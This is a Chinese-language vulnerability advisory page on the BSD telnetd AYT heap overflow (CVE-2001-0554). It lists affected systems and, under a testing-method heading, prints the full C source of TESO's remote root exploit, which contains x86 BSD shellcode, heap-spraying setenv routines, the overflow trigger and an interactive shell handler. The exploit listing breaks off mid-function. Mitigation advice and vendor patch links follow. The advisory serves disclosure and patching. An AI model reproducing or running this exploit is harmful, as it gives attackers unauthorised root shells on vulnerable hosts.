首页 -> 安全研究
安全研究
安全漏洞
多家厂商基于BSD系统Telnetd远程堆溢出漏洞
发布日期:2001-07-18
更新日期:2001-10-19
受影响系统:
Multiple Vendor Telnetd描述:
- Apple MacOS 10.0
- BSDI BSD/OS 4.2
- BSDI BSD/OS 4.1
- BSDI BSD/OS 4.0.1
- BSDI BSD/OS 4.0
- Caldera eDesktop 2.4
- Caldera eServer 2.3.1
- Caldera OpenLinux 2.3
- Debian Linux 2.2 powerpc
- Debian Linux 2.2 68k
- Debian Linux 2.2 arm
- Debian Linux 2.2 sparc
- Debian Linux 2.2 alpha
- FreeBSD 4.3-STABLE
- FreeBSD 4.3-RELEASE
- FreeBSD 4.2-STABLE
- FreeBSD 4.2-RELEASE
- FreeBSD 4.1.1-STABLE
- FreeBSD 4.1.1-RELEASE
- FreeBSD 4.0.x
- FreeBSD 3.x
- FreeBSD 3.5.1-STABLE
- FreeBSD 3.5.1-RELEASE
- FreeBSD 2.x
- HP HP-UX 10.24
- HP HP-UX 10.20
- HP HP-UX 10.10
- HP HP-UX 10.01
- IBM AIX 5.1
- IBM AIX 4.3.3
- IBM AIX 4.3.2
- IBM AIX 4.3.1
- IBM AIX 4.3
- NetBSD 1.5.1
- NetBSD 1.5
- NetBSD 1.4.3
- NetBSD 1.4.2
- NetBSD 1.4.1
- NetBSD 1.4
- NetBSD 1.3.3
- NetBSD 1.3.2
- NetBSD 1.3.1
- NetBSD 1.3
- NetBSD 1.2.1
- NetBSD 1.2
- NetBSD 1.1
- NetBSD 1.0
- OpenBSD 2.8
- OpenBSD 2.7
- OpenBSD 2.6
- OpenBSD 2.5
- OpenBSD 2.4
- OpenBSD 2.3
- OpenBSD 2.2
- OpenBSD 2.1
- OpenBSD 2.0
- RedHat Linux 7.0 sparc
- RedHat Linux 7.0 x86
- RedHat Linux 7.0 alpha
- RedHat Linux 6.2
- RedHat Linux 6.2 sparc
- RedHat Linux 6.2 x86
- RedHat Linux 6.2 alpha
- RedHat Linux 5.2 alpha
- RedHat Linux 5.2 sparc
- RedHat Linux 5.2
- RedHat Linux 5.2 x86
- SGI IRIX 6.5.9
- SGI IRIX 6.5.8
- SGI IRIX 6.5.7
- SGI IRIX 6.5.6
- SGI IRIX 6.5.5
- SGI IRIX 6.5.4
- SGI IRIX 6.5.3
- SGI IRIX 6.5.2
- SGI IRIX 6.5.13
- SGI IRIX 6.5.12
- SGI IRIX 6.5.11
- SGI IRIX 6.5.10
- SGI IRIX 6.5.1
- SGI IRIX 6.5
- Sun Solaris 9.0
- Sun Solaris 8.0
- Sun Solaris 7.0
- Sun Solaris 2.6
- Sun Solaris 2.5.1
- Sun Solaris 2.5
- Sun Solaris 2.4
- Sun Solaris 2.3
- Sun Solaris 2.2
- Sun Solaris 2.1
- Sun Solaris 2.0
BUGTRAQ ID: 3064
CVE(CAN) ID: CVE-2001-0554
Telnet是一个广泛使用的明文的远程连接虚拟终端协议,可以用来对远程计算机进行操作。目前使用最多的telnetd版本都是源于BSD telnetd的某个派生。
来源于BSD telnet守护程序的telnetd存在一个堆溢出漏洞,远程攻击者可能通过溢出攻击在主机上以telnetd守护进程的权限(通常是root)执行任意指令。
在处理telnet协议选项的函数中没有进行有效的边界检查,当使用某些选项('AYT')时,可能发生缓冲区溢出。由于攻击者可以控制的字符是有限的而且溢出发生在BSS区,因此,攻击受到一定限制。但是发现者报告说至少在某些系统(FreeBSD/BSDI/NetBSD)下攻击是切实可行的,一个可用的攻击程序已经广泛流传。
在Linux系统下,如果用户可以获取对系统的本地访问权限,它可以通过telnetd的漏洞为
/bin/login设置环境变量,例如LD_PRELOAD=/tmp/make-rootshell.so 。
如果用户没有本地访问权限,他可以覆盖一些块(chunk)结果,setenv(3)会使用这些结构,并在用户可以控制的内存取中一个新的chunk,因此当环境变量重新分配内存时会改变任意内存地址的值。
最新的报告显示Linux netkit-telnetd <= 0.17版本都是受影响的,攻击者可能远程获取root权限。
<*来源:TESO Security Advisory
链接:http://www.cert.org/advisories/CA-2001-21.html
http://www.ciac.org/ciac/bulletins/l-131.shtml
ftp://stage.caldera.com/pub/security/openunix/CSSA-2001-SCO.10/
https://www.redhat.com/support/errata/RHSA-2001-099.html
http://www.caldera.com/support/security/advisories/CSSA-2001-030.0.txt
http://www.debian.org/security/2001/dsa-070
http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-068.php3
http://www.debian.org/security/2001/dsa-075
http://www.debian.org/security/2001/dsa-075
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:54.ports-telnetd.asc
ftp://patches.sgi.com/support/free/security/advisories/20010801-01-P
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000413
http://www.suse.com/de/support/security/2001_029_[需要添加]_txt.txt
http://archives.neohapsis.com/archives/hp/2001-q4/0014.html
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:49.telnetd.v1.1.asc
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/* 7350854 - x86/bsd telnetd remote root exploit
*
* TESO CONFIDENTIAL - SOURCE MATERIALS
*
* This is unpublished proprietary source code of TESO Security.
*
* The contents of these coded instructions, statements and computer
* programs may not be disclosed to third parties, copied or duplicated in
* any form, in whole or in part, without the prior written permission of
* TESO Security. This includes especially the Bugtraq mailing list, the
* www.hack.co.za website and any public exploit archive.
*
* (C) COPYRIGHT TESO Security, 2001
* All Rights Reserved
*
*****************************************************************************
* bug found by scut 2001/06/09
* further research by smiler, zip, lorian and me.
* thanks to zip's cool friend for giving me a testbed to play on
*
* tested against: BSDI BSD/OS 4.1
* NetBSD 1.5
* FreeBSD 3.1
* FreeBSD 4.0-REL
* FreeBSD 4.2-REL
* FreeBSD 4.3-BETA
* FreeBSD 4.3-STABLE
* FreeBSD 4.3-RELEASE
*
*/
#define VERSION "0.0.7"
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/* global variables, uhhohh!
*/
int mode = 16;
int num = 245;
int pop = 31500; /* puts code at 0x08fdff0a */
int bs = 1; /* buffer start */
int num34 = 244;
int pop34 = 71833; /* puts code at 0x0a0d08fe */
int bs34 = 0;
int walk; /* populator walker */
int force = 0; /* force exploitation */
int checkonly = 0; /* check telnetd only */
void usage (char *progname);
int xp_check (int fd);
void xp_pop (int fd);
void xp_shrinkwin (int fd);
void xp_setenv (int fd, unsigned char *var, unsigned char *val);
void xp (int fd);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);
/* imported from shellkit */
unsigned long int random_get (unsigned long int low, unsigned long int high);
void random_init (void);
int bad (unsigned char u);
int badstr (unsigned char *code, int code_len, unsigned char *bad,
int bad_len);
unsigned long int x86_nop_rwreg (void);
unsigned long int x86_nop_xfer (char *xferstr);
unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
unsigned char *bad, int bad_len);
#define BSET(dest, len, val, bw) { \
dest &= ~(((unsigned char) ~0) >> bw); /* clear lower bits */ \
dest |= val << (8 - bw - len); /* set value bits */ \
bw += len; \
}
/* imported from network.c */
#define NET_CONNTIMEOUT 60
int net_conntimeout = NET_CONNTIMEOUT;
unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec);
/* x86/bsd PIC portshell shellcode
* by lorian/teso
* port 0x4444 (might want to change it here)
*/
unsigned char x86_bsd_portshell[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
"\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
/* ^^ ^^ port */
"\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
"\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
"\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
"\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
"\x80";
/* x86/bsd PIC execve shellcode
* by lorian/teso
*/
unsigned char x86_bsd_execvesh[] =
"\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";
/* x86/bsd(i)+solaris execve shellcode
* by lorian/teso
*/
unsigned char x86_bsd_compaexec[] =
"\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
"\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
"\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";
unsigned char * shellcode = x86_bsd_compaexec;
#define COL 55
void
usage (char *progname)
{
fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
"-c\tcheck exploitability only, do not exploit\n"
"-f\tforce mode, override check results\n\n");
fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
"send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
"take that, or it will take very long for it (> 1h). beware.\n\n");
fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
"\tNetBSD 1.5\n"
"\tBSDI BSD/OS 4.1\n\n");
exit (EXIT_FAILURE);
}
int
main (int argc, char *argv[])
{
char c;
char * progname;
char * dest;
int i, j, fd,
dots = 0;
int popc;
struct timeval start,
cur;
unsigned long long int g_pct, /* gaussian percentage */
g_all; /* gaussian overall */
fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
"by zip, lorian, smiler and scut.\n\n");
progname = argv[0];
if (argc < 2)
usage (progname);
while ((c = getopt (argc, argv, "n:cf")) != EOF) {
switch (c) {
case 'n':
num = atoi (optarg);
break;
case 'c':
checkonly = 1;
break;
case 'f':
force = 1;
break;
default:
usage (progname);
break;
}
}
dest = argv[argc - 1];
if (dest[0] == '-')
usage (progname);
fd = net_connect (NULL, dest, 23, 20);
if (fd <= 0) {
fprintf (stderr, "failed to connect\n");
exit (EXIT_FAILURE);
}
random_init ();
if (xp_check (fd) == 0 && force == 0) {
printf ("aborting\n");
#ifndef DEBUG
exit (EXIT_FAILURE);
#endif
}
close (fd);
if (checkonly)
exit (EXIT_SUCCESS);
fd = net_connect (NULL, dest, 23, 20);
if (fd <= 0) {
fprintf (stderr, "failed to connect the second time\n");
exit (EXIT_FAILURE);
}
printf ("\n#############################################################################\n\n");
printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
"telnet daemon process, it will spill badly. but then, there is no\n"
"other way, sorry...\n\n", mode);
#ifdef DEBUG
getchar ();
#endif
printf ("## setting populators to populate heap address space\n");
g_all = ((unsigned long long int)(pop / 2)) *
((unsigned long long int)(pop + 1));
g_pct = 0;
printf ("## number of setenvs (dots / network): %d\n", pop);
printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
printf ("##\n");
printf ("## the percentage is more realistic than the dots ;)\n");
printf ("\n");
printf ("percent |");
popc = pop / COL;
for (i = pop / popc ; i >= 0 ; --i)
printf ("-");
printf ("| ETA |\n");
gettimeofday (&start, NULL);
for (walk = 0 ; walk < pop ; ++walk) {
xp_pop (fd);
g_pct += walk;
if (walk % popc == 0)
dots += 1;
if (walk % 200 == 0) {
int pct;
float pct_f;
unsigned long int diff;
pct = (int) ((g_pct * 100) / g_all);
pct_f = g_pct * 100;
pct_f /= (float) g_all;
/* calculate difference not caring about accuracy */
gettimeofday (&cur, NULL);
diff = cur.tv_sec - start.tv_sec;
printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
"\r %2.2f%% |" : "\r %1.2f%% |"), pct_f);
for (j = 0 ; j < dots ; ++j)
printf (".");
for ( ; j <= COL ; ++j)
printf (" ");
if (pct != 0) {
diff = (int) ((((float)(100 - pct_f)) /
(float) pct_f) * diff);
printf ("| %02lu:%02lu:%02lu |",
diff / 3600, (diff % 3600) / 60,
diff % 60);
} else {
printf ("| --:--:-- |");
}
fflush (stdout);
}
}
printf ("\n\n");
printf ("## sleeping for 10 seconds to let the process recover\n");
sleep (10);
#ifdef DEBUG
getchar ();
#endif
/* return into 0x08feff0a */
xp (fd);
sleep (1);
printf ("## ok, you should now have a root shell\n");
printf ("## as always, after hard times, there is a reward...\n");
printf ("\n\ncommand: ");
fflush (stdout);
shell (fd);
exit (EXIT_SUCCESS);
}
void
xp (int fd)
{
int n;
unsigned char buf[2048];
/* basic overflow */
for (n = bs ; n < sizeof (buf) ; ++n)
buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';
/* some nifty alignment */
buf[0] = '\xff'; /* IAC */
buf[1] = '\xf5'; /* AO */
if (mode == 16) {
buf[2] = '\xff'; /* IAC */
buf[3] = '\xfb'; /* WILL */
buf[4] = '\x26'; /* ENCRYPTION */
}
/* force 0x08feff0a as return */
buf[num++] = '\xff';
buf[num++] = '\xfb';
buf[num++] = '\x08';
/* and the output_encrypt overwrite action, yay! */
buf[num++] = '\xff';
buf[num++] = '\xf6';
/* XXX: should not fail here, though we should better loop and check */
n = send (fd, buf, num, 0);
if (n != num) {
perror ("xp:send");
}
}
#ifdef INSANE_MIND
void
xp_shrinkwin (int fd)
{
int n;
int iobc;
int p = 0;
unsigned char buf[2048];
char c;
int val;
int len;
for (n = 0 ; n < sizeof (buf) ; ++n)
buf[n] = n % 2 ? '\xf6' : '\xff';
len = sizeof (val);
getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
printf ("SO_SNDLOWAT = %d\n", val);
val = 1;
printf ("setsockopt: %s\n",
setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
"FAILED" : "SUCCESS");
val = 1234;
getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
printf ("SO_SNDLOWAT = %d\n", val);
getchar();
while (1) {
if (p > 105)
c = getchar();
if (c == 'r') {
getchar();
read (fd, &buf[1024], 384);
} else if (c == 'o') {
getchar();
send (fd, "7", 1, MSG_OOB);
} else if (c != 'r') {
usleep(100000);
n = send (fd, buf, 112, 0);
ioctl (fd, FIONREAD, &iobc);
len = sizeof (val);
getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
printf ("%02d. send: %d local: %d/%d (%d left)\n",
++p, n, iobc, val, val - iobc);
}
}
}
#endif
/* xp_pop - populator function
*
* causes remote telnet daemon to setenv() variables with our content, populating
* the heap with shellcode. this will get us more nopspace and place our shellcode
* where the nice addresses are, that we can create by writing telnet option
* strings.
*
* XXX: there seems to be a maximum size for the environment value you can set,
* which is 510. we use 496 bytes for nopspace and shellcode therefore.
* should work, rather similar to tsig tcp/malloc exploitation. -sc
*/
void
xp_pop (int fd)
{
unsigned char var[16];
unsigned char storebuf[496];
sprintf (var, "%06x", walk);
#ifdef DEBUG
memset (storebuf, '\xcc', sizeof (storebuf));
#else
/* memset (storebuf, '\x90', sizeof (storebuf)); */
x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
shellcode, strlen (shellcode));
#endif
storebuf[sizeof (storebuf) - 1] = '\0';
xp_setenv (fd, var, storebuf);
}
void
xp_setenv (int fd, unsigned char *var, unsigned char *val)
{
int n = 0;
unsigned char buf[2048];
buf[n++] = IAC;
buf[n++] = SB;
buf[n++] = TELOPT_NEW_ENVIRON;
buf[n++] = TELQUAL_IS;
buf[n++] = ENV_USERVAR;
/* should not contain < 0x04 */
while (*var) {
if (*var == IAC)
buf[n++] = *var;
buf[n++] = *var++;
}
buf[n++] = NEW_ENV_VALUE;
while (*val) {
if (*val == IAC)
buf[n++] = *val;
buf[n++] = *val++;
}
buf[n++] = IAC;
buf[n++] = SE;
if (send (fd, buf, n, 0) != n) {
perror ("xp_setenv:send");
exit (EXIT_FAILURE);
}
}
int
xp_check (int fd)
{
int n;
unsigned int expect_len = 15;
unsigned char expected[] =
"\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
/* \r \n [ Y e s ] \r \n IAC DONT 08 IAC DO 26*/
unsigned int additional_len = 8;
unsigned char additional[] =
"\xff\xfa\x26\x01\x01\x02\xff\xf0";
/*IAC SB ENC ........... IAC SE */
unsigned char buf[128];
read (fd, buf, sizeof (buf));
n = 0;
buf[n++] = IAC; /* 0xff */
buf[n++] = AYT; /* 0xf6 */
buf[n++] = IAC; /* 0xff */
buf[n++] = WILL; /* 0xfb */
buf[n++] = TELOPT_NAOL; /* 0x08 */
buf[n++] = IAC; /* 0xff */
buf[n++] = WILL; /* 0xfb */
buf[n++] = TELOPT_ENCRYPT; /* 0x26 */
#ifdef DEBUG
hexdump ("check send buffer", buf, n);
#endif
if (send (fd, buf, n, 0) != n) {
perror ("xp_check:send");
exit (EXIT_FAILURE);
}
n = read (fd, buf, sizeof (buf));
#ifdef DEBUG
hexdump ("check recv buffer", buf, n);
#endif
if (memcmp (buf, expected, expect_len) == 0) {
if (memcmp (buf+expect_len, additional, additional_len) == 0) {
mode = 16;
} else {
mode = 34;
bs = bs34;
}
printf ("check: PASSED, using %dmb mode\n", mode);
return (1);
}
printf ("check: FAILED\n");
return (0);
}
void
shell (int sock)
{
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
perror ("read user");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}
if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l <= 0) {
perror ("read remote");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}
/* ripped from zodiac */
void
hexdump (char *desc, unsigned char *data, unsigned int amount)
{
unsigned int dp, p; /* data pointer */
const char trans[] =
"................................ !\"#$%&'()*+,-./0123456789"
":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
"nopqrstuvwxyz{|}~...................................."
"....................................................."
"........................................";
printf ("/* %s, %u bytes */\n", desc, amount);
for (dp = 1; dp <= amount; dp++) {
fprintf (stderr, "%02x ", data[dp-1]);
if ((dp % 8) == 0)
fprintf (stderr, " ");
if ((dp % 16) == 0) {
fprintf (stderr, "| ");
p = dp;
for (dp -= 16; dp < p; dp++)
fprintf (stderr, "%c", trans[data[dp]]);
fflush (stderr);
fprintf (stderr, "\n");
}
fflush (stderr);
}
if ((amount % 16) != 0) {
p = dp = 16 - (amount % 16);
for (dp = p; dp > 0; dp--) {
fprintf (stderr, " ");
if (((dp % 8) == 0) && (p != 8))
fprintf (stderr, " ");
fflush (stderr);
}
fprintf (stderr, " | ");
for (dp = (amount - (16 - p)); dp < amount; dp++)
fprintf (stderr, "%c", trans[data[dp]]);
fflush (stderr);
}
fprintf (stderr, "\n");
return;
}
unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;
i = inet_addr(host);
if (i == -1) {
he = gethostbyname(host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
int
net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec)
{
int n,
len,
error,
flags;
int fd;
struct timeval tv;
fd_set rset, wset;
struct sockaddr_in csa;
if (cs == NULL)
cs = &csa;
/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
if (!(cs->sin_addr.s_addr = net_resolve (server))) {
close (fd);
return (-1);
}
flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}
error = 0;
n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;
n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);
if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);
done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}
/* imported from shellkit */
unsigned long int
random_get (unsigned long int low, unsigned long int high)
{
unsigned long int val;
if (low > high) {
low ^= high;
high ^= low;
low ^= high;
}
val = (unsigned long int) random ();
val %= (high - low);
val += low;
return (val);
}
void
random_init (void)
{
srandom (time (NULL));
}
int
bad (unsigned char u)
{
if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
return (1);
return (0);
}
int
badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
{
int n;
for (code_len -= 1 ; code_len >= 0 ; --code_len) {
for (n = 0 ; n < bad_len ; ++n)
&n
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 建议您关闭telnet,换用ssh或openssh
由于telnet使用明文传输信息,从协议本身上存在先天的安全脆弱性,很容易受到各种窃听、回放、劫持攻击,因此我们建议使用相对安全得多的基于SSH加密协议的远程连接工具代替telnet进行远程管理。
厂商补丁:
BSDI
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
BSDi BSD/OS 4.2:
http://www.bsdi.com/services/support/patches/patches-4.2/i386/M420-014
BSDi BSD/OS 4.1:
http://www.bsdi.com/services/support/patches/patches-4.1/M410-043
Conectiva
---------
Conectiva已经为此发布了一个安全公告(CLA-2001:413)以及相应补丁:
CLA-2001:413:telnet
链接:http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000413
补丁下载:
ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/telnet-0.17-1U40_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0/i386/telnet-0.17-1U40_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/telnet-0.17-1U40_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/i386/telnet-0.17-1U40_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/telnet-0.17-1U41_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.1/i386/telnet-0.17-1U41_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/telnet-0.17-1U42_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.2/i386/telnet-0.17-1U42_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/telnet-0.17-1U50_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.0/i386/telnet-0.17-1U50_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.0/i386/telnet-server-0.17-1U50_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/telnet-0.17-1U51_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/telnet-server-0.17-1U51_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/telnet-0.17-1U51_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/telnet-0.17-2U60_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/telnet-server-0.17-2U60_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/telnet-0.17-2U60_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/SRPMS/telnet-0.17-2U70_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/telnet-0.17-2U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/telnet-server-0.17-2U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/telnet-0.17-1U50_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/telnet-0.17-1U50_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/telnet-server-0.17-1U50_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/telnet-0.17-1U50_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/telnet-0.17-1U50_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/telnet-server-0.17-1U50_1cl.i386.rpm
Conectiva Linux version 6.0及以上版本的用户可以使用apt进行RPM包的更新:
- 把以下的文本行加入到/etc/apt/sources.list文件中:
rpm [cncbr] ftp://atualizacoes.conectiva.com.br 6.0/conectiva updates
(如果你不是使用6.0版本,用合适的版本号代替上面的6.0)
- 执行: apt-get update
- 更新以后,再执行: apt-get upgrade
FreeBSD
-------
FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-01:54)以及相应补丁:
FreeBSD-SA-01:54:telnetd contains remote buffer overflow
链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:54.ports-telnetd.asc
补丁下载:
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/devel/portcheckout-2.0.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/devel/portcheckout-2.0.tgz
HP
--
HP已经为此发布了一个安全公告(HPSBUX0110-172)以及相应补丁:
HPSBUX0110-172:Sec. Vulnerability in telnetd
链接:
补丁下载:
ftp://us-ffs.external.hp.com/hp-ux_patches
系统版本和补丁号对应关系:
10.01 PHNE_24820,
10.10 PHNE_24820,
10.20 PHNE_24821,
SIS 10.20 PHNE_24822 (Telnet kerberos Patch),
10.24 PHNE_25217.
补丁安装方法:
1. 在安装补丁之前备份系统。
2. 以root身份登录。
3. 把patch复制到/tmp目录。
4. 转到/tmp目录unshar补丁程序:
cd /tmp
sh PHCO_xxxxxx
5a. 对一个单独的系统,运行swinstall来安装补丁:
swinstall -x autoreboot=true -x match_target=true \
-s /tmp/PHCO_xxxxx.depot
默认情况下会把原来的软件备份到/var/adm/sw/patch/PHCO_xxxxx目录下。如果你不希望保留一个备份,可以创建一个空文件/var/adm/sw/patch/PATCH_NOSAVE,这样系统统就不会再保留备份了。
警告:当安装补丁的时候这个文件存在,补丁安装以后就不能卸载了,使用这个功能的时候必须小心。
MandrakeSoft
------------
MandrakeSoft已经为此发布了一个安全公告(MDKSA-2001:068)以及相应补丁:
MDKSA-2001:068:telnet
链接:http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-068.php3
补丁下载:
http://www.linux-mandrake.com/en/ftp.php3
补丁包:
Linux-Mandrake 7.1:
0c25fb858b93cbbc30a8f16ff80952d8 7.1/RPMS/telnet-0.16-4.1mdk.i586.rpm
a2a90ff0bcfa1c3f4da1008900bb2b98 7.1/RPMS/telnet-server-0.16-4.1mdk.i586.rpm
a960f23b3bc9113ba2696d8b23e9fe3d 7.1/SRPMS/telnet-0.16-4.1mdk.src.rpm
Linux-Mandrake 7.2:
a6f72da6eef4874c419d82ef23e58363 7.2/RPMS/telnet-0.17-7.1mdk.i586.rpm
97f93cbfb8283c6eaaa8046aa3f6aa55 7.2/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
666dddb9572c03a8122c7428066bebdc 7.2/SRPMS/telnet-0.17-7.1mdk.src.rpm
Mandrake Linux 8.0:
77cb8c2f140eb51ff0e303b228585213 8.0/RPMS/telnet-0.17-7.1mdk.i586.rpm
9bcd5a4bb716f6ae25beb0460996665f 8.0/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
666dddb9572c03a8122c7428066bebdc 8.0/SRPMS/telnet-0.17-7.1mdk.src.rpm
Corporate Server 1.0.1:
0c25fb858b93cbbc30a8f16ff80952d8 1.0.1/RPMS/telnet-0.16-4.1mdk.i586.rpm
a2a90ff0bcfa1c3f4da1008900bb2b98 1.0.1/RPMS/telnet-server-0.16-4.1mdk.i586.rpm
a960f23b3bc9113ba2696d8b23e9fe3d 1.0.1/SRPMS/telnet-0.16-4.1mdk.src.rpm
Single Network Firewall 7.2:
a6f72da6eef4874c419d82ef23e58363 snf7.2/RPMS/telnet-0.17-7.1mdk.i586.rpm
97f93cbfb8283c6eaaa8046aa3f6aa55 snf7.2/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
666dddb9572c03a8122c7428066bebdc snf7.2/SRPMS/telnet-0.17-7.1mdk.src.rpm
NetBSD
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
* NetBSD-current:
您可以从CVS更新,然后重新编译安装telnetd:
# cd src/libexec/telnetd
# cvs update -d -P
# make cleandir dependall install
* NetBSD 1.3, 1.3.x, 1.4, 1.4.x, 1.5, 1.5.1
您可以从下列地址下载补丁,然后重新编译安装telnetd:
